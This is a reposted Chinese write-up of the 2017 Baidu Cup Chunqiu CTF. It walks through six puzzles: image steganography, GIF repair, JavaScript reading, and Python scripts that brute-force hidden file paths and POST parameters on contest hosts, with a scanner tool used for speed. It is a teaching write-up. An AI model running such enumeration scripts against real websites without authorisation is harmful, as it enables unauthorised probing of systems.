2017 百度杯、春秋欢乐赛 writeup

转载

weixin_30897079 于 2018-12-13 14:49:00 发布 226 收藏
文章标签： php python
原文链接：http://www.cnblogs.com/xiaomulei/p/10113997.html

1. 内涵图（Misc）

题目：
我不是一个简单的图片
我是一个有内涵的图片

解：保存到桌面，右键属性->详细信息，即可获得flag.

2. 小电影（Misc）

题目：
我说过
这次比赛是让大家开开心心的度过的
所以
送给你们一个小电影

解：图片被损坏。
(1)检查文件头，发现没有GIF8，用winhex补上。

(2)重新打开gif，图片已修复。

(3)使用Stegsolve分帧查看，可得flag。

3.水果宴

题目：
你吃了多少水果
访问地址：http://120.132.85.112:20003 （链接为题目自动生成，过期访问无效）

解：查看源代码，可发现如下一段js
放到控制台跑一下，可得flag。

```
var egg,Banana,Apple,Pear,Grape,watermelon,orange;
egg = 21.07;
chicken = egg*3;
Apple=chicken+egg;
Pear=Apple/chicken+egg;
Grape = Apple-Pear*chicken+egg;
watermelon=Grape+Pear/Apple-chicken*egg;
orange=watermelon*Grape+Pear+Apple*chicken+egg;
Flag = 'Flag{'+String(Math.floor(egg))+'}';
```

4.象棋

题目：开心的玩游戏吧。
访问链接：http://af8c91d771994c79a169bd8c291637d158331c7bc65248ad.ctf.game （链接为题目自动生成，过期访问无效）

解：点进去是一个象棋游戏，查看源代码，扫一遍发现这个js有问题

猜测 flag存在于某个js文件中，文件名为"abcmlyx"中取2个字母，"0123456789"中取3个数字，例如 js/abctf123.js。

```
使用python生成字典
key1 = "abcmlyx"
key2 = "0123456789"
file = open("xiangqi.txt","r+")
sum =0
for i in key1:
  for j in key1:
    for k in key2:
      for m in key2:
        for n in key2:
          url="/js/"+i+j+"ctf"+str(k)+str(m)+str(n)+".js"+"\n"
          file.write(url)
          sum=sum+1
file.close()
print("Number of possibilities: "+str(sum))
print("ok")
```

调用xiangqi.txt 进行爆破

```
import requests
import re
import sys
import time
import datetime

starttime = datetime.datetime.now()
file = open("data.txt","r+")
array=[]
for line in open('xiangqi.txt'):
  array.extend(line.strip().split('\n'))

for line in array:
  print(line)
  url = "http://af8c91d771994c79a169bd8c291637d158331c7bc65248ad.ctf.game/"+line
  try:
    wp=requests.get(url,timeout=10)
  except requests.exceptions.Timeout:
    print ("Timeout occurred")
    file.write(line+'\n')
  m =re.search('flag',wp.text)
  if m :
    print(line+" is our need!")
    break

endtime=datetime.datetime.now()
file.close()
print("use time: "+endtime-starttime+"\n")
print("ok return")
```

①对xiangqi.txt中所有数据分行处理读入array数组
②把array数组中每一个数据加到题目链接后
③访问该网页，并将返回内容存到wp中（由于request.get存在超时异常，故在这里进行try except，对个别超时的数据项存到另外的文件中，可以手动进行访问查看）
④使用re.search函数对wp中所有内容搜索"flag"字段
⑤若存在，则爆破结束，若不存在，则继续

爆破时间有点长，可以分成多个文件，同时进行爆破。
【更新】孤陋寡闻了。。。爆破可以用国内的御剑，专门的爆破软件会多线程同步进行遍历，速度大大加快。

> 勾选的"PHP:49000"，是我在配置文件中把原来的PHP.txt的内容换成了前面xiangqi.txt的内容
> 御剑爆破软件下载链接

5. 时间

题目：时间是宝贵的。
访问链接：http://e242eebffcd24abdb1678c24528258d7715127a9437c4db4.ctf.game/ （链接为题目自动生成，过期访问无效）
解：进入题目链接，可见

1. 此题关键点：页面刷新显示后，必须在10秒内找到并打开flag所在的文件，否则这个文件会被删除（怪不得"天下武功唯快不破"）
2. 代码分析：作者从flag.php中提取文本内容到$txt变量中，再随机产生一个1-1000的数字进行md5加密作为文件名$filename，最后把$txt的内容放入$filename文件中去。接着睡眠10秒，最终删除该文件。
   另外这道题不需要用到cookie欺骗。

(1)首先生成1~1000的字典

```
import hashlib
import requests
file = open("data.txt",'w+')
for i in range(1,1001):
  m = hashlib.md5()
  m.update(str(i).encode())
  mid = m.hexdigest()
  url = 'u/'+mid+'.txt'
  file.write(url+'\n')
file.close()
```

> 注意这里str(i)要对字符编码规范

(2)放到御剑中爆破

> 勾选的"PHP:1000"，是我在配置文件中把原来的PHP.txt的内容换成了前面data.txt的内容。
> 御剑爆破软件下载链接

> 该步骤需要注意的是：
> (1)域名的最后要加上'/'
> (2)线程项调至60以上（太小会导致扫描太慢以至于错过10秒）
> (3)刷新题目链接后，在十秒内完成扫描，并点开flag文件。（若超过十秒 即使已经扫描到了也会访问不到 因为文件已经被删除）

6.攻击

题目：一个ip只有一个机会，哈哈哈。
访问链接：http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/

解：
分析所给的PHP代码可知：
(1)若当前IP与$ip变量的内容相同，则提示信息直接退出。
(2)当POST中某id的键值等于'attack'时，打印$flag。这个id为$flag的第五个位置开始，长度为3的一个字符串。
(3)如果不满足(2)，则检查POST的变量个数，大于0则把你当前的IP加入到黑名单中（故一个IP只能攻击一次，失败了就要重新创建题目）

此题存疑，留funder大神的writeup作记录

```
import requests
a = "1234567890"
data = {}
for i in a:
    for j in a:
        for k in a:
            data[i+j+k]="attack"
print(data)
r=requests.post("http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/",data=data)
print(r.text)
```

转载于:https://www.cnblogs.com/xiaomulei/p/10113997.html